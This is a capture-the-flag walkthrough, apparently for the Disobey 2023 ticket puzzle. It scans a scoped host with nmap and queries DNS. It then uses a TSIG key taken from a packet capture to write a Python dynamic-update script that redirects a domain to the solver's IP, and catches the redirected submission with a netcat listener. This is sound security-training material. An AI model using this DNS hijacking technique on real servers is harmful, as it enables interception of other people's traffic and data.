POST /submit/ HTTP/1.1 Host: crunch.kt.3g.re Accept: */* Content-Type: application/json User-Agent: Kouvosto Telecom sensitive data submission agent (military grade) Content-Length: 37 {"data": "test", "pystyy": "vet...."}HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Thu, 08 Oct 2020 06:52:35 GMT Content-Type: application/ktson Transfer-Encoding: chunked Connection: keep-alive 15 {"result": "success"} 0
Let’s enumerate:
┌──(kali㉿kali)-[~] └─$ nmap -p- -sC -sV 94.237.108.204 Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 15:18 EDT Nmap scan report for 94-237-108-204.nl-ams1.upcloud.host (94.237.108.204) Host is up (0.099s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6d:bf:ac:68:d0:ee:5e:a3:aa:36:27:ee:13:21:1f:cc (RSA) | 256 3d:8a:c3:56:55:37:ee:54:a9:2c:7e:91:a0:32:72:cc (ECDSA) |_ 256 bb:2c:26:9a:6d:0b:24:76:b1:75:5c:90:51:7a:6d:07 (ED25519) 53/tcp open domain (unknown banner: Kouvosto Telecom DNS server v0.01 beta - in scope) | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind |_ 21Kouvosto Telecom DNS server v0.01 beta - in scope | dns-nsid: |_ bind.version: Kouvosto Telecom DNS server v0.01 beta - in scope 80/tcp open http nginx 1.14.2 |_http-title: 503 Service Temporarily Unavailable |_http-server-header: nginx/1.14.2 8089/tcp open ssl/http Splunkd httpd |_http-title: splunkd | http-robots.txt: 1 disallowed entry |_/ | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-10-12T22:26:42 |_Not valid after: 2023-10-12T22:26:42 |_http-server-header: Splunkd 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.92%I=7%D=10/20%Time=6351A082%P=x86_64-pc-linux-gnu%r(DNS SF:VersionBindReqTCP,6C,"jx06x85x01x01x01x07version SF:x04bindx10x03xc0x0cx10x03x0021Kouvostox20Tele SF:comx20DNSx20serverx20v0.01x20betax20-x20inx20scopexc0x0cx0 SF:2x03x02xc0x0c"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 385.50 seconds
On port 53 there is a DNS server with a banner “Kouvosto Telecom DNS server v0.01 beta – in scope”. Let’s check the DNS record for the domain we saw earlier in pcap:
┌──(kali㉿kali)-[~] └─$ dig @94.237.108.204 crunch.kt.3g.re ;; communications error to 94.237.108.204#53: timed out ; <<>> DiG 9.18.7-1-Debian <<>> @94.237.108.204 crunch.kt.3g.re ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5409 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 87304f52daafc03886cd4f5c637c87969089e400233d6138 (good) ;; QUESTION SECTION: ;crunch.kt.3g.re. IN A ;; ANSWER SECTION: crunch.kt.3g.re. 2 IN A 192.168.19.84 ;; AUTHORITY SECTION: 3g.re. 1 IN NS go-ham.kt.3g.re. ;; ADDITIONAL SECTION: go-ham.kt.3g.re. 1 IN A 94.237.108.204 ;; Query time: 40 msec ;; SERVER: 94.237.108.204#53(94.237.108.204) (UDP) ;; WHEN: Tue Nov 22 03:25:57 EST 2022 ;; MSG SIZE rcvd: 125
It seems that the place where the submission should be done is pointing to 192.168.19.84, which of course is not reachable by us.
We can now try to change the record with the DNS key we found from pcap. Let’s write a quick script and try to change the domain to point to our own ip, and then set up a listener to hopefully catch the next submission.
dns.py:
┌──(kali㉿kali)-[~/dns] └─$ cat dns.py #!/usr/bin/python import sys import os import dns.update import dns.query import dns.tsigkeyring from dns.tsig import HMAC_SHA512 keyring = dns.tsigkeyring.from_text({"updatekey": "GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A=="}) update = dns.update.Update("3g.re.", keyring=keyring, keyalgorithm=HMAC_SHA512) update.delete("crunch.kt") update.add("crunch.kt", 1, "A", "85.156.119.21") response = dns.query.tcp(update, "94.237.108.204", timeout=10)
Then set up the listener:
┌──(kali㉿kali)-[~] └─$ nc -lvnp 80 listening on [any] 80 ...
And then run the script:
┌──(kali㉿kali)-[~] └─$ ./dns.py.
After waiting a couple of minutes we do catch the submission request with the listener:
┌──(kali㉿kali)-[~] └─$ nc -lvnp 80 listening on [any] 80 ... connect to [10.0.2.15] from (UNKNOWN) [10.0.2.2] 56718 POST / HTTP/1.1 Host: crunch.kt.3g.re User-Agent: Kouvosto Telecom sensitive data submission agent (military grade) Transfer-Encoding: chunked Content-Type: application/ktson Accept-Encoding: gzip 379 { "beacon_name": "chipper", "beacon_ip_address": "172.16.104.32", "beacon_model": "KVR-L200", "beacon_firmware": "0.7.1b.83340", "beacon_serial": "80860600021", "beacon_location": "Saboten Biomaterial Factory #7", "timestamp": 2718658601, "meta_data": { "datatype": "KTBBD", "version": "0.7a" }, "events": [ { "rssi": "-42", "data": "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv", "srData": "I29pc2pvaGFja2VyYmFkZ2U=", "timestamp": 2718658599, "device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221" }, { "rssi": "-36", "data": "SXQncyBkYW5nZXJvdXMgdG8gZ28gYWxvbmUhIEhlcmUsIHRha2UgdGhpczo=", "timestamp": 2718658594, "device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221" } ] } 0
Decode the data part to get the flag and your hacker ticket:
┌──(kali㉿kali)-[~/dns] └─$ echo "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv" | base64 -d https://holvi.com/shop/Disobey/product/.../
Flag: url to buy the hacker ticket :)
Hey, when you solve the puzzle meet us in Gofore Lounge at Disobey 2023